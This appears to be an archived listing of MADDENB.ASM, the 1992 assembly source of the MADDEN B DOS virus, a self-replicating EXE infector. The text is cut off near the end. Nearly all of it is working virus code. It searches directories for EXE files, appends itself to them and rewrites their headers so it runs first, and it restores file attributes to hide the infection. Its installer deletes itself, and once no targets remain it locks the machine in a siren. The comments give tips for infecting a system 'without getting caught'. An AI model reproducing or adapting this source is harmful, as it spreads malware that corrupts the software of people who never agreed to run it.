home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MADDENB.ASM < prev    next >
Assembly Source File  |  1992-07-17  |  33KB  |  772 lines

  1. ;The MADDEN B virus is an EXE file infector which can jump from directory to
  2. ;directory and disk to disk. It attaches itself to the end of a file and
  3. ;modifies the EXE file header so that it gets control first, before the host
  4. ;program. When it is done doing its job, it passes control to the host program,
  5. ;so that the host executes without a hint that the virus is there.
  6.  
  7.  
  8.     .SEQ                       ;segments must appear in sequential order
  9.                    ;to simulate conditions in actual active virus
  10.  
  11.  
  12. ;MGROUP  GROUP   HOSTSEG,HSTACK     ;Host stack and code segments grouped together
  13.  
  14. ;HOSTSEG program code segment. The virus gains control before this routine and
  15. ;attaches itself to another EXE file. As such, the host program for this
  16. ;installer simply tries to delete itself off of disk and terminates. That is
  17. ;worthwhile if you want to infect a system with the virus without getting
  18. ;caught. Just execute the program that infects, and it disappears without a
  19. ;trace. You might want to name the program something more innocuous, though.
  20. ;MADDEN B also locks the pc into a 'siren' warble when it runs out
  21. ;of files to infect. MADDEN, included in this archive plays a fast country
  22. ;song. (MADDEN will assemble to an .file using a86, then link to produce
  23. ;infected .exe form)
  24.  
  25. HOSTSEG SEGMENT BYTE
  26.     ASSUME  CS:HOSTSEG,SS:HSTACK
  27.  
  28. PGMSTR  DB 'MADDENB.EXE',0
  29.  
  30. HOST:
  31.     mov     ax,cs           ;we want DS=CS here
  32.     mov     ds,ax
  33.     mov     dx,OFFSET PGMSTR
  34.     mov     ah,41H
  35.     int     21H             ;delete this exe file
  36.     mov     ah,4CH
  37.     mov     al,0
  38.     int     21H             ;terminate normally
  39. HOSTSEG ENDS
  40.  
  41.  
  42. ;Host program stack segment
  43.  
  44. HSTACK  SEGMENT PARA STACK
  45.     db  100H dup (?)        ;100 bytes long
  46. HSTACK  ENDS
  47.  
  48. ;------------------------------------------------------------------------
  49. ;This is the virus itself
  50.  
  51. STACKSIZE       EQU     100H           ;size of stack for the virus
  52. NUMRELS         EQU     2              ;number of relocatables in the virus, which must go in the relocatable pointer table
  53.  
  54. ;VGROUP  GROUP   VSEG,VSTACK    ;Virus code and stack segments grouped together
  55.  
  56. ;MADDEN Virus code segment. This gains control first, before the host. As this
  57. ;ASM file is layed out, this program will look exactly like a simple program
  58. ;that was infected by the virus.
  59.  
  60. VSEG    SEGMENT PARA
  61.     ASSUME  CS:VSEG,DS:VSEG,SS:VSTACK
  62.  
  63. ;data storage area comes before any code
  64. VIRUSID DW      0C8AAH                ;identifies virus
  65. OLDDTA  DD      0                     ;old DTA segment and offset
  66. DTA1    DB      2BH dup (?)           ;new disk transfer area
  67. DTA2    DB      56H dup (?)           ;dta for directory finds (2 deep)
  68. EXE_HDR DB      1CH dup (?)           ;buffer for EXE file header
  69. EXEFILE DB      '\*.EXE',0            ;search string for an exe file
  70. ALLFILE DB      '\*.*',0              ;search string for any file
  71. USEFILE DB      78 dup (?)            ;area to put valid file path
  72. LEVEL   DB      0                     ;depth to search directories for a file
  73. HANDLE  DW      0                     ;file handle
  74. FATTR   DB      0                     ;old file attribute storage area
  75. FTIME   DW      0                     ;old file time stamp storage area
  76. FDATE   DW      0                     ;old file date stamp storage area
  77. FSIZE   DD      0                     ;file size storage area
  78. VIDC    DW      0                     ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
  79. VCODE   DB      1                     ;identifies this version
  80. COUNT1  DW      8                  ;delay counts used by 'siren' routine
  81. COUNT2  DW      3
  82. COUNT3  DW     20
  83. COUNT4  DW     10
  84. ;--------------------------------------------------------------------------
  85. ;MADDEN B virus main routine starts here
  86. VIRUS:
  87.     push    ax              ;save startup info in ax
  88.     mov     ax,cs
  89.     mov     ds,ax           ;set up DS=CS for the virus
  90.     mov     ax,es           ;get PSP Seg
  91.     mov     WORD PTR [OLDDTA+2],ax   ;set up default DTA Seg=PSP Seg in case of abort without getting it
  92.     call    SHOULDRUN       ;run only when certain conditions met signalled by z set
  93.     jnz     REL1            ;conditions aren't met, go execute host program
  94.     call    SETSR           ;modify SHOULDRUN procedure to activate conditions
  95.     call    NEW_DTA         ;set up a new DTA location
  96.     call    FIND_FILE       ;get an exe file to attack
  97.     jnz     SIREN           ;returned nz - no valid files left, siren time!
  98.     call    SAVE_ATTRIBUTE  ;save the file attributes and leave file opened in r/w mode
  99.     call    INFECT          ;move program code to file we found to attack
  100.     call    REST_ATTRIBUTE  ;restore the original file attributes and close the file
  101. FINISH: call    RESTORE_DTA     ;restore the DTA to its original value at startup
  102.     pop     ax              ;restore startup value of ax
  103. REL1:                           ;relocatable marker for host stack segment
  104.     mov     bx,HSTACK       ;set up host program stack segment (ax=segment)
  105.     cli                     ;interrupts off while changing stack
  106.     mov     ss,bx
  107. REL1A:                          ;marker for host stack pointer
  108.     mov     sp,OFFSET HSTACK
  109.     mov     es,WORD PTR [OLDDTA+2]  ;set up ES correctly
  110.     mov     ds,WORD PTR [OLDDTA+2]  ;and DS
  111.     sti                     ;interrupts back on
  112. REL2:                           ;relocatable marker for host code segment
  113.     jmp     FAR PTR HOST    ;begin execution of host program
  114.  
  115. ;--------------------------------------------------------------------------
  116. ;First Level - Find a file which passes FILE_OK
  117. ;
  118. ;This routine does a complex directory search to find an EXE file in the
  119. ;current directory, one of its subdirectories, or the root directory or one
  120. ;of its subdirectories, to find a file for which FILE_OK returns with C reset.
  121. ;If you want to change the depth of the search, make sure to allocate enough
  122. ;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
  123. ;since the recursive FINDBR uses a different DTA area for the search (see DOS
  124. ;functions 4EH and 4FH) on each level.
  125. ;
  126. FIND_FILE:
  127.     mov     al,'\'                  ;set up current directory path in USEFILE
  128.     mov     BYTE PTR [USEFILE],al
  129.     mov     si,OFFSET USEFILE+1
  130.     xor     dl,dl
  131.     mov     ah,47H
  132.     int     21H                     ;get current dir, USEFILE= \dir
  133.     cmp     BYTE PTR [USEFILE+1],0  ;see if it is null. If so, its the root
  134.     jnz     FF2                     ;not the root
  135.     xor     al,al                   ;make correction for root directory,
  136.     mov     BYTE PTR [USEFILE],al   ;by setting USEFILE = ''
  137. FF2:    mov     al,2
  138.     mov     [LEVEL],al              ;search 2 subdirs deep
  139.     call    FINDBR                  ;attempt to locate a valid file
  140.     jz      FF3                     ;found one - exit
  141.     xor     al,al                   ;nope - try the root directory
  142.     mov     BYTE PTR [USEFILE],al   ;by setting USEFILE= ''
  143.     inc     al                      ;al=1
  144.     mov     [LEVEL],al              ;search one subdir deep
  145.     call    FINDBR                  ;attempt to find file
  146. FF3:
  147.     ret                             ;exit with z flag set by FINDBR to indicate success/failure
  148.  
  149. ;***************************************************************************
  150. ;This routine enables MADDEN B virus to sound a siren 
  151. ;when it can't find a file to infect
  152. ;**************************************************************************
  153. SIREN:
  154.     cli                          ;no interrupts
  155.     mov     bp,15                ;we want to do hole thing 15 times
  156.     mov     al,10110110xb        ;set up channel 2
  157.     out     43h,al               ;send it to port
  158. AGIN:   mov     bx,500               ;start frequency high
  159. BACKERX:mov     ax,bx                ;place it in (ax)
  160.     out     42h,al               ;send LSB first
  161.     mov     al,ah                ;move MSB into al
  162.     out     42h,al               ;send it next
  163.     in      al,61h               ;get value from port
  164.     or      al,00000011xb        ;ORing it will turn on speaker
  165.     out     61h,al               ;send number
  166.     mov     cx,COUNT1            ;number of delay loops
  167. LOOPERX:loop    LOOPERX              ;so we can hear sound
  168.     inc     bx                   ;increment (bx) lowers frequency pitch
  169.     cmp     bx,4000              ;have we reached 4000
  170.     jnz     BACKERX              ;if not do again
  171. BACKERY:mov     ax,bx                ;if not put (bx) in (ax)
  172.     out     42h,al               ;send LSB to port
  173.     mov     al,ah                ;place MSB in al
  174.     out     42h,al               ;send it now
  175.     in      al,61h               ;get value from port
  176.     or      al,00000011xb        ;lets OR it
  177.     out     61h,al               ;time to turn on speaker
  178.     mov     cx,COUNT2            ;loop count
  179. LOOPERY:loop    LOOPERY              ;delay so we can hear sound
  180.     dec     bx                   ;decrementing (bx) rises frequency pitch
  181.     cmp     bx,500               ;have we reach 500
  182.     jnz     BACKERY              ;if not go back
  183.     mov     si,COUNT3            ;place longer delay in (si)
  184.     mov     di,COUNT4            ;place longer delay in (di)
  185.     push    si                   ;push it on the stack
  186.     push    di                   ;push it on the stack
  187.     mov     si,COUNT1            ;place first delay in (si)
  188.     mov     di,COUNT2            ;place second delay in (di)
  189.     mov     COUNT3,si            ;save 1st in COUNT3 for next exchange
  190.     mov     COUNT4,di            ;save 2nd in COUNT4 for next exchange
  191.     pop     di                   ;pop longer delay off stack
  192.     pop     si                   ;pop longer delay off stack
  193.     mov     COUNT2,di            ;place it in the second
  194.     mov     COUNT1,si            ;place it in the first
  195.     dec     bp                   ;decrement repeat count
  196.     jnz     AGIN                 ;if not = 0 do hole thing again
  197.     in      al,61h               ;we be done
  198.     and     al,11111100xb        ;this number will turn speaker off
  199.     out     61h,al               ;send it
  200.     sti                          ;enable interrupts
  201.     jmp     SIREN
  202.  
  203. ;--------------------------------------------------------------------------
  204. ;SEARCH FUNCTION
  205. ;---------------------------------------------------------------------------
  206. ;Second Level - Find in a branch
  207. ;
  208. ;This function searches the directory specified in USEFILE for EXE files.
  209. ;after searching the specified directory, it searches subdirectories to the
  210. ;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
  211. ;routine exits with Z set and leaves the file and path in USEFILE
  212. ;
  213. FINDBR:
  214.     call    FINDEXE         ;search current dir for EXE first
  215.     jnc     FBE3            ;found it - exit
  216.     cmp     [LEVEL],0       ;no - do we want to go another directory deeper?
  217.     jz      FBE1            ;no - exit
  218.     dec     [LEVEL]         ;yes - decrement LEVEL and continue
  219.     mov     di,OFFSET USEFILE       ;'\curr_dir' is here
  220.     mov     si,OFFSET ALLFILE       ;'\*.*' is here
  221.     call    CONCAT          ;get '\curr_dir\*.*' in USEFILE
  222.     inc     di
  223.     push    di              ;store pointer to first *
  224.     call    FIRSTDIR        ;get first subdirectory
  225.     jnz     FBE             ;couldn't find it, so quit
  226. FB1:                            ;otherwise, check it out
  227.     pop     di              ;strip \*.* off of USEFILE
  228.     xor     al,al
  229.     stosb
  230.     mov     di,OFFSET USEFILE
  231.     mov     bx,OFFSET DTA2+1EH
  232.     mov     al,[LEVEL]
  233.     mov     dl,2BH          ;compute correct DTA location for subdir name
  234.     mul     dl              ;which depends on the depth we're at in the search
  235.     add     bx,ax           ;bx points to directory name
  236.     mov     si,bx
  237.     call    CONCAT          ;'\curr_dir\sub_dir' put in USEFILE
  238.     push    di              ;save position of first letter in sub_dir name
  239.     call    FINDBR          ;scan the subdirectory and its subdirectories (recursive)
  240.     jz      FBE2            ;if successful, exit
  241.     call    NEXTDIR         ;get next subdirectory in this directory
  242.     jz      FB1             ;go check it if search successful
  243. FBE:                            ;else exit, NZ set, cleaned up
  244.     inc     [LEVEL]         ;increment the level counter before exit
  245.     pop     di              ;strip any path or file spec off of original
  246.     xor     al,al           ;directory path
  247.     stosb
  248. FBE1:   mov     al,1            ;return with NZ set
  249.     or      al,al
  250.     ret
  251.  
  252. FBE2:   pop     di              ;successful exit, pull this off the stack
  253. FBE3:   xor     al,al           ;and set Z
  254.     ret                     ;exit
  255.  
  256. ;--------------------------------------------------------------------------
  257. ;Third Level - Part A - Find an EXE file
  258. ;
  259. ;This function searches the path in USEFILE for an EXE file which passes
  260. ;the test FILE_OK. This routine will return the full path of the EXE file
  261. ;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
  262. ;with the c flag set. It will search a whole directory before giving up.
  263. ;
  264. FINDEXE:
  265.     mov     dx,OFFSET DTA1  ;set new DTA for EXE search
  266.     mov     ah,1AH
  267.     int     21H
  268.     mov     di,OFFSET USEFILE
  269.     mov     si,OFFSET EXEFILE
  270.     call    CONCAT          ;set up USEFILE with '\dir\*.EXE'
  271.     push    di              ;save position of '\' before '*.EXE'
  272.     mov     dx,OFFSET USEFILE
  273.     mov     cx,3FH          ;search first for any file
  274.     mov     ah,4EH
  275.     int     21H
  276. NEXTEXE:
  277.     or      al,al           ;is DOS return OK?
  278.     jnz     FEC             ;no - quit with C set
  279.     pop     di
  280.     inc     di
  281.     stosb                   ;truncate '\dir\*.EXE' to '\dir\'
  282.     mov     di,OFFSET USEFILE
  283.     mov     si,OFFSET DTA1+1EH
  284.     call    CONCAT          ;setup file name '\dir\filename.exe'
  285.     dec     di
  286.     push    di
  287.     call    FILE_OK         ;yes - is this a good file to use?
  288.     jnc     FENC            ;yes - valid file found - exit with c reset
  289.     mov     ah,4FH
  290.     int     21H             ;do find next
  291.     jmp     SHORT NEXTEXE   ;and go test it for validity
  292.  
  293. FEC:                            ;no valid file found, return with C set
  294.     pop     di
  295.     mov     BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
  296.     stc
  297.     ret
  298. FENC:                           ;valid file found, return with NC
  299.     pop     di
  300.     ret
  301.  
  302.  
  303. ;--------------------------------------------------------------------------
  304. ;Third Level - Part B - Find a subdirectory
  305. ;
  306. ;This function searches the file path in USEFILE for subdirectories, excluding
  307. ;the subdirectory header entries. If one is found, it returns with Z set, and
  308. ;if not, it returns with NZ set.
  309. ;There are two entry points here, FIRSTDIR, which does the search first, and
  310. ;NEXTDIR, which does the search next.
  311. ;
  312. FIRSTDIR:
  313.     call    GET_DTA         ;get proper DTA address in dx (calculated from LEVEL)
  314.     push    dx              ;save it
  315.     mov     ah,1AH          ;set DTA
  316.     int     21H
  317.     mov     dx,OFFSET USEFILE
  318.     mov     cx,10H          ;search for a directory
  319.     mov     ah,4EH          ;do search first function
  320.     int     21H
  321. NEXTD1:
  322.     pop     bx              ;get pointer to search table (DTA)
  323.     or      al,al           ;successful search?
  324.     jnz     NEXTD3          ;no, quit with NZ set
  325.     test    BYTE PTR [bx+15H],10H    ;is this a directory?
  326.     jz      NEXTDIR         ;no, find another
  327.     cmp     BYTE PTR [bx+1EH],'.'    ;is it a subdirectory header?
  328.     jne     NEXTD2          ;no - valid directory, exit, setting Z flag
  329.                 ;else it was dir header entry, so fall through to next
  330. NEXTDIR:                        ;second entry point for search next
  331.     call    GET_DTA         ;get proper DTA address again - may not be set up
  332.     push    dx
  333.     mov     ah,1AH          ;set DTA
  334.     int     21H
  335.     mov     ah,4FH
  336.     int     21H             ;do find next
  337.     jmp     SHORT NEXTD1    ;and loop to check the validity of the return
  338.  
  339. NEXTD2:
  340.     xor     al,al           ;successful exit, set Z flag
  341. NEXTD3:
  342.     ret                     ;exit routine
  343.  
  344. ;--------------------------------------------------------------------------
  345. ;Return the DTA address associated to LEVEL in dx. This is simply given by
  346. ;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
  347. ;in its own DTA, since a search at a lower level occurs in the middle of the
  348. ;higher level search, and we don't want the higher level being ruined by
  349. ;corrupted data.
  350. ;
  351. GET_DTA:
  352.     mov     dx,OFFSET DTA2
  353.     mov     al,2BH
  354.     mul     [LEVEL]
  355.     add     dx,ax                   ;return with dx= proper dta offset
  356.     ret
  357.  
  358. ;--------------------------------------------------------------------------
  359. ;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
  360. ;string at ES:DI. Return ES:DI pointing to the end of the first string in the
  361. ;destination (or the first character of the second string, after moved).
  362. ;
  363. CONCAT:
  364.     mov     al,byte ptr es:[di]     ;find the end of string 1
  365.     inc     di
  366.     or      al,al
  367.     jnz     CONCAT
  368.     dec     di                      ;di points to the null at the end
  369.     push    di                      ;save it to return to the caller
  370. CONCAT2:
  371.     cld
  372.     lodsb                           ;move second string to end of first
  373.     stosb
  374.     or      al,al
  375.     jnz     CONCAT2
  376.     pop     di                      ;and restore di to point to end of string 1
  377.     ret
  378.  
  379.  
  380. ;--------------------------------------------------------------------------
  381. ;Function to determine whether the EXE file specified in USEFILE is useable.
  382. ;if so return nc, else return c
  383. ;What makes an EXE file useable?:
  384. ;              a) The signature field in the EXE header must be 'MZ'. (These
  385. ;                 are the first two bytes in the file.)
  386. ;              b) The Overlay Number field in the EXE header must be zero.
  387. ;              c) There must be room in the relocatable table for NUMRELS
  388. ;                 more relocatables without enlarging it.
  389. ;              d) The word VIRUSID must not appear in the 2 bytes just before
  390. ;                 the initial CS:0000 of the test file. If it does, the virus
  391. ;                 is probably already in that file, so we skip it.
  392. ;
  393. FILE_OK:
  394.     call    GET_EXE_HEADER         ;read the EXE header in USEFILE into EXE_HDR
  395.     jc      OK_END                 ;error in reading the file, so quit
  396.     call    CHECK_SIG_OVERLAY      ;is the overlay number zero?
  397.     jc      OK_END                 ;no - exit with c set
  398.     call    REL_ROOM               ;is there room in the relocatable table?
  399.     jc      OK_END                 ;no - exit
  400.     call    IS_ID_THERE            ;is id at CS:0000?
  401. OK_END: ret                            ;return with c flag set properly
  402.  
  403. ;--------------------------------------------------------------------------
  404. ;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
  405. ;number is anything but zero.
  406. CHECK_SIG_OVERLAY:
  407.     mov     al,'M'                  ;check the signature first
  408.     mov     ah,'Z'
  409.     cmp     ax,WORD PTR [EXE_HDR]
  410.     jz      CSO_1                   ;jump if OK
  411.     stc                             ;else set carry and exit
  412.     ret
  413. CSO_1:  xor     ax,ax
  414.     sub     ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
  415.     ret                             ;c is set if it's anything but 0
  416.  
  417. ;--------------------------------------------------------------------------
  418. ;This function reads the 28 byte EXE file header for the file named in USEFILE.
  419. ;It puts the header in EXE_HDR, and returns c set if unsuccessful.
  420. ;
  421. GET_EXE_HEADER:
  422.     mov     dx,OFFSET USEFILE
  423.     mov     ax,3D02H                ;r/w access open file
  424.     int     21H
  425.     jc      RE_RET                  ;error opening - C set - quit without closing
  426.     mov     [HANDLE],ax             ;else save file handle
  427.     mov     bx,ax                   ;handle to bx
  428.     mov     cx,1CH                  ;read 28 byte EXE file header
  429.     mov     dx,OFFSET EXE_HDR       ;into this buffer
  430.     mov     ah,3FH
  431.     int     21H
  432. RE_RET: ret                             ;return with c set properly
  433.  
  434. ;--------------------------------------------------------------------------
  435. ;This function determines if there are at least NUMRELS openings in the
  436. ;current relocatable table in USEFILE. If there are, it returns with
  437. ;carry reset, otherwise it returns with carry set. The computation
  438. ;this routine does is to compare whether
  439. ;    ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
  440. ;is >= than 4 * NUMRELS. If it is, then there is enough room
  441. ;
  442. REL_ROOM:
  443.     mov     ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
  444.     add     ax,ax
  445.     add     ax,ax
  446.     sub     ax,WORD PTR [EXE_HDR+6] ;number of relocatables
  447.     add     ax,ax
  448.     add     ax,ax
  449.     sub     ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
  450.     cmp     ax,4*NUMRELS            ;enough room to put relocatables in?
  451. RR_RET: ret                             ;exit with carry set properly
  452.  
  453.  
  454. ;--------------------------------------------------------------------------
  455. ;This function determines whether the word at the initial CS:0000 in USEFILE
  456. ;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
  457. ;it returns c reset.
  458. ;
  459. IS_ID_THERE:
  460.     mov     ax,WORD PTR [EXE_HDR+22] ;Initial CS
  461.     add     ax,WORD PTR [EXE_HDR+8]  ;Header size
  462.     mov     dx,16
  463.     mul     dx
  464.     mov     cx,dx
  465.     mov     dx,ax                    ;cxdx = position to look for VIRUSID in file
  466.     mov     bx,[HANDLE]
  467.     mov     ax,4200H                 ;set file pointer, relative to beginning
  468.     int     21H
  469.     mov     ah,3FH
  470.     mov     bx,[HANDLE]
  471.     mov     dx,OFFSET VIDC
  472.     mov     cx,2                     ;read 2 bytes into VIDC
  473.     int     21H
  474.     jc      II_RET                   ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
  475.     mov     ax,[VIDC]
  476.     cmp     ax,[VIRUSID]             ;is it the VIRUSID?
  477.     clc
  478.     jnz     II_RET                   ;if not, then virus is not already in this file
  479.     stc                              ;else it is probably there already
  480. II_RET: ret
  481.  
  482.  
  483. ;--------------------------------------------------------------------------
  484. ;This routine makes sure file end is at paragraph boundary, so the virus
  485. ;can be attached with a valid CS. Assumes file pointer is at end of file.
  486. SETBDY:
  487.     mov     al,BYTE PTR [FSIZE]
  488.     and     al,0FH              ;see if we have a paragraph boundary (header is always even # of paragraphs)
  489.     jz      SB_E                ;all set - exit
  490.     mov     cx,10H              ;no - write any old bytes to even it up
  491.     sub     cl,al               ;number of bytes to write in cx
  492.     mov     dx,OFFSET FINAL     ;set buffer up to point to end of the code (just garbage there)
  493.     add     WORD PTR [FSIZE],cx     ;update FSIZE
  494.     adc     WORD PTR [FSIZE+2],0
  495.     mov     bx,[HANDLE]
  496.     mov     ah,40H              ;DOS write function
  497.     int     21H
  498. SB_E:   ret
  499.  
  500. ;--------------------------------------------------------------------------
  501. ;This routine moves the virus (this program) to the end of the EXE file
  502. ;Basically, it just copies everything here to there, and then goes and
  503. ;adjusts the EXE file header and two relocatables in the program, so that
  504. ;it will work in the new environment. It also makes sure the virus starts
  505. ;on a paragraph boundary, and adds how many bytes are necessary to do that.
  506. ;
  507. INFECT:
  508.     mov     cx,WORD PTR [FSIZE+2]
  509.     mov     dx,WORD PTR [FSIZE]
  510.     mov     bx,[HANDLE]
  511.     mov     ax,4200H                ;set file pointer, relative to beginning
  512.     int     21H                     ;go to end of file
  513.     call    SETBDY                  ;lengthen to a paragraph boundary if necessary
  514.     mov     cx,OFFSET FINAL         ;last byte of code
  515.     xor     dx,dx                   ;first byte of code, DS:DX
  516.     mov     bx,[HANDLE]             ;move virus code to end of file being attacked with
  517.     mov     ah,40H                  ;DOS write function
  518.     int     21H
  519.     mov     dx,WORD PTR [FSIZE]     ;find 1st relocatable in code (SS)
  520.     mov     cx,WORD PTR [FSIZE+2]
  521.     mov     bx,OFFSET REL1          ;it is at FSIZE+REL1+1 in the file
  522.     inc     bx
  523.     add     dx,bx
  524.     mov     bx,0
  525.     adc     cx,bx                   ;cx:dx is that number
  526.     mov     bx,[HANDLE]
  527.     mov     ax,4200H                ;set file pointer to 1st relocatable
  528.     int     21H
  529.     mov     dx,OFFSET EXE_HDR+14    ;get correct old SS for new program
  530.     mov     bx,[HANDLE]             ;from the EXE header
  531.     mov     cx,2
  532.     mov     ah,40H                  ;and write it to relocatable REL1+1
  533.     int     21H
  534.     mov     dx,WORD PTR [FSIZE]
  535.     mov     cx,WORD PTR [FSIZE+2]
  536.     mov     bx,OFFSET REL1A         ;put in correct old SP from EXE header
  537.     inc     bx                      ;at FSIZE+REL1A+1
  538.     add     dx,bx
  539.     mov     bx,0
  540.     adc     cx,bx                   ;cx:dx points to FSIZE+REL1A+1
  541.     mov     bx,[HANDLE]
  542.     mov     ax,4200H                ;set file pointer to place to write SP to
  543.     int     21H
  544.     mov     dx,OFFSET EXE_HDR+16    ;get correct old SP for infected program
  545.     mov     bx,[HANDLE]             ;from EXE header
  546.     mov     cx,2
  547.     mov     ah,40H                  ;and write it where it belongs
  548.     int     21H
  549.     mov     dx,WORD PTR [FSIZE]
  550.     mov     cx,WORD PTR [FSIZE+2]
  551.     mov     bx,OFFSET REL2          ;put in correct old CS:IP in program
  552.     add     bx,1                    ;at FSIZE+REL2+1 on disk
  553.     add     dx,bx
  554.     mov     bx,0
  555.     adc     cx,bx                   ;cx:dx points to FSIZE+REL2+1
  556.     mov     bx,[HANDLE]
  557.     mov     ax,4200H                ;set file pointer relavtive to start of file
  558.     int     21H
  559.     mov     dx,OFFSET EXE_HDR+20    ;get correct old CS:IP from EXE header
  560.     mov     bx,[HANDLE]
  561.     mov     cx,4
  562.     mov     ah,40H                  ;and write 4 bytes to FSIZE+REL2+1
  563.     int     21H
  564.                     ;done writing relocatable vectors
  565.                     ;so now adjust the EXE header values
  566.     xor     cx,cx
  567.     xor     dx,dx
  568.     mov     bx,[HANDLE]
  569.     mov     ax,4200H                ;set file pointer to start of file
  570.     int     21H
  571.     mov     ax,WORD PTR [FSIZE]     ;calculate new initial CS (the virus' CS)
  572.     mov     cl,4                    ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
  573.     shr     ax,cl
  574.     mov     bx,WORD PTR [FSIZE+2]
  575.     and     bl,0FH
  576.     mov     cl,4
  577.     shl     bl,cl
  578.     add     ah,bl
  579.     sub     ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
  580.     mov     WORD PTR [EXE_HDR+22],ax;and save as initial CS
  581.     mov     bx,OFFSET FINAL         ;compute new initial SS
  582.     add     bx,10H                  ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
  583.     mov     cl,4
  584.     shr     bx,cl
  585.     add     ax,bx
  586.     mov     WORD PTR [EXE_HDR+14],ax  ;and save it
  587.     mov     ax,OFFSET VIRUS           ;get initial IP
  588.     mov     WORD PTR [EXE_HDR+20],ax  ;and save it
  589.     mov     ax,STACKSIZE              ;get initial SP
  590.     mov     WORD PTR [EXE_HDR+16],ax  ;and save it
  591.     mov     dx,WORD PTR [FSIZE+2]
  592.     mov     ax,WORD PTR [FSIZE]     ;calculate new file size
  593.     mov     bx,OFFSET FINAL
  594.     add     ax,bx
  595.     xor     bx,bx
  596.     adc     dx,bx                   ;put it in ax:dx
  597.     add     ax,200H                 ;and set up the new page count
  598.     adc     dx,bx                   ;page ct= (ax:dx+512)/512
  599.     push    ax
  600.     mov     cl,9
  601.     shr     ax,cl
  602.     mov     cl,7
  603.     shl     dx,cl
  604.     add     ax,dx
  605.     mov     WORD PTR [EXE_HDR+4],ax ;and save it here
  606.     pop     ax
  607.     and     ax,1FFH                 ;now calculate last page size
  608.     mov     WORD PTR [EXE_HDR+2],ax ;and put it here
  609.     mov     ax,NUMRELS              ;adjust relocatables counter
  610.     add     WORD PTR [EXE_HDR+6],ax
  611.     mov     cx,1CH                  ;and save data at start of file
  612.     mov     dx,OFFSET EXE_HDR
  613.     mov     bx,[HANDLE]
  614.     mov     ah,40H                  ;DOS write function
  615.     int     21H
  616.     mov     ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
  617.     dec     ax                      ;in order to calculate location of
  618.     dec     ax                      ;where to add relocatables
  619.     mov     bx,4                    ;Location= (No in table-2)*4+Table Offset
  620.     mul     bx
  621.     add     ax,WORD PTR [EXE_HDR+24];table offset
  622.     mov     bx,0
  623.     adc     dx,bx                   ;dx:ax=end of old table in file
  624.     mov     cx,dx
  625.     mov     dx,ax
  626.     mov     bx,[HANDLE]
  627.     mov     ax,4200H                ;set file pointer to table end
  628.     int     21H
  629.     mov     ax,WORD PTR [EXE_HDR+22]  ;and set up 2 pointers: init CS = seg of REL1
  630.     mov     bx,OFFSET REL1
  631.     inc     bx                      ;offset of REL1
  632.     mov     WORD PTR [EXE_HDR],bx   ;use EXE_HDR as a buffer to
  633.     mov     WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
  634.     mov     ax,WORD PTR [EXE_HDR+22]  ;init CS = seg of REL2
  635.     mov     bx,OFFSET REL2
  636.     add     bx,3                    ;offset of REL2
  637.     mov     WORD PTR [EXE_HDR+4],bx ;write it to buffer
  638.     mov     WORD PTR [EXE_HDR+6],ax
  639.     mov     cx,8                    ;and then write 8 bytes of data in file
  640.     mov     dx,OFFSET EXE_HDR
  641.     mov     bx,[HANDLE]
  642.     mov     ah,40H                  ;DOS write function
  643.     int     21H
  644.     ret                             ;that's it, infection is complete!
  645.  
  646. ;--------------------------------------------------------------------------
  647. ;This routine determines whether the reproduction code should be executed.
  648. ;If it returns Z, the reproduction code is executed, otherwise it is not.
  649. ;Currently, it only executes if the system time variable is a multiple of
  650. ;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
  651. ;executions of the program. TIMECT should be 2^n-1
  652. ;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
  653. ;is run. This makes SHOULDRUN return Z for sure the first time, so it
  654. ;definitely runs when this loader program is run, but after that, the time must
  655. ;be an even multiple of TIMECT+1.
  656. ;
  657. TIMECT  EQU     0               ;Determines how often to reproduce (1/64 here)
  658. ;
  659. SHOULDRUN:
  660.     xor     ah,ah           ;zero ax to start, set z flag
  661. SR1:    ret                     ;this gets replaced by NOP when program runs
  662.     int     1AH
  663.     and     dl,TIMECT       ;is it an even multiple of TIMECT+1 ticks?
  664.     ret                     ;return with z flag set if it is, else nz set
  665.  
  666.  
  667. ;--------------------------------------------------------------------------
  668. ;SETSR modifies SHOULDRUN so that the full procedure gets run
  669. ;it is redundant after the initial load
  670. SETSR:
  671.     mov     al,90H          ;NOP code
  672.     mov     BYTE PTR SR1,al ;put it in place of RET above
  673.     ret                     ;and return
  674.  
  675. ;--------------------------------------------------------------------------
  676. ;This routine sets up the new DTA location at DTA1, and saves the location of
  677. ;the initial DTA in the variable OLDDTA.
  678. NEW_DTA:
  679.     mov     ah,2FH                  ;get current DTA in ES:BX
  680.     int     21H
  681.     mov     WORD PTR [OLDDTA],bx    ;save it here
  682.     mov     ax,es
  683.     mov     WORD PTR [OLDDTA+2],ax
  684.     mov     ax,cs
  685.     mov     es,ax                   ;set up ES
  686.     mov     dx,OFFSET DTA1          ;set new DTA offset
  687.     mov     ah,1AH
  688.     int     21H                     ;and tell DOS where we want it
  689.     ret
  690.  
  691. ;--------------------------------------------------------------------------
  692. ;This routine reverses the action of NEW_DTA and restores the DTA to its
  693. ;original value.
  694. RESTORE_DTA:
  695.     mov     dx,WORD PTR [OLDDTA]    ;get original DTA seg:ofs
  696.     mov     ax,WORD PTR [OLDDTA+2]
  697.     mov     ds,ax
  698.     mov     ah,1AH
  699.     int     21H                     ;and tell DOS where to put it
  700.     mov     ax,cs                   ;restore ds before exiting
  701.     mov     ds,ax
  702.     ret
  703.  
  704. ;--------------------------------------------------------------------------
  705. ;This routine saves the original file attribute in FATTR, the file date and
